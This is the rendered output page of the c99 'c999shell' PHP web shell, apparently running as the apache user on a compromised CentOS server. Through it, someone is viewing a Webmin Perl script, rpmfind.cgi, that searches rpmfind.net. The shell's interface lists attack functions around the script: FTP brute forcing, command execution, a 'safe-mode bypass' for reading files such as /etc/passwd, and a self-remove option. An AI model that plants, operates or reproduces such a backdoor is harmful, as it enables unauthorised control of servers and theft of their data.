!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/software/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     rpmfind.cgi (2.13 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# rpmfind.cgi
# Display a search window for rpmfind.net

require './software-lib.pl';
&ReadParse();

$rpmfind_host = "rpmfind.net";
$rpmfind_port = 80;
$rpmfind_page = "/linux/rpm2html/search.php?query=";

&header();
print <<EOF;
<script>
function sel(m)
{
window.opener.ifield.value = m;
window.close();
return false;
}
</script>
EOF

# Search form
print &ui_form_start("rpmfind.cgi");
print &ui_submit($text{'rpm_search'});
print &ui_textbox("search", $in{'search'}, 20);
print &ui_form_end();

if ($in{'search'}) {
    # Call the rpmfind.net website to get matches
    print &ui_hr();
    $out = "";
    &http_download($rpmfind_host, $rpmfind_port,
               $rpmfind_page.&urlize($in{'search'}), \$out);
    while($out =~ /<tr[^>]*>.*?<td[^>]*>([^<]*)<\/td>.*?<td[^>]*>([^<]*)<\/td>.*?((ftp|http|https):[^>]+\.rpm).*?<\/tr>([\000-\377]*)/i) {
        local $pkg = { 'url' => $3,
                   'dist' => $2,
                   'desc' => $1 };
        $out = $5;
        $pkg->{'source'}++ if ($pkg->{'url'} =~ /\.src\.rpm$/ ||
                       $pkg->{'url'} =~ /\.srpm$/);
        if ($pkg->{'url'} =~ /\/(([^\/]+)-([^\-\/]+)-([^-\/]+).([^-\/]+)\.rpm)$/) {
            $pkg->{'file'} = $1;
            $pkg->{'prefix'} = $2;
            $pkg->{'version'} = $3;
            $pkg->{'release'} = $4;
            $pkg->{'arch'} = $5;
            if ($pkg->{'version'} =~ /^(\d+)\.([0-9\.]+)$/){
                local ($v1 = $1, $v2 = $2);
                $v2 =~ s/\.//g;
                $pkg->{'version'} = "$v1.$v2";
                }
            }
        elsif ($pkg->{'file'} =~ /\/([^\/]+)$/) {
            $pkg->{'file'} = $1;
            }
        push(@rv, $pkg);
        }

    # Show the search results
    @rv = grep { !$_->{'source'} } @rv;
    @rv = sort { local $vc = $b->{'version'} <=> $a->{'version'};
             local $rc = $b->{'version'} <=> $a->{'version'};
             return $vc ? $vc : $rc } @rv;
    if (@rv) {
        print "<table width=100%>\n";
        print &ui_columns_start([ $text{'rpm_findrpm'},
                      $text{'rpm_finddistro'},
                      $text{'rpm_finddesc'} ], 100);
        foreach $r (@rv) {
            print &ui_columns_row([
                "<a href='' onClick='sel(\"$r->{'url'}\")'>".
                                 "$r->{'file'}</a>",
                $r->{'dist'},
                $r->{'desc'}
                ]);
            }
        print &ui_columns_end();
        }
    else {
        print "<b>$text{'rpm_none'}</b> <p>\n";
        }
    }

&ui_print_footer();


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--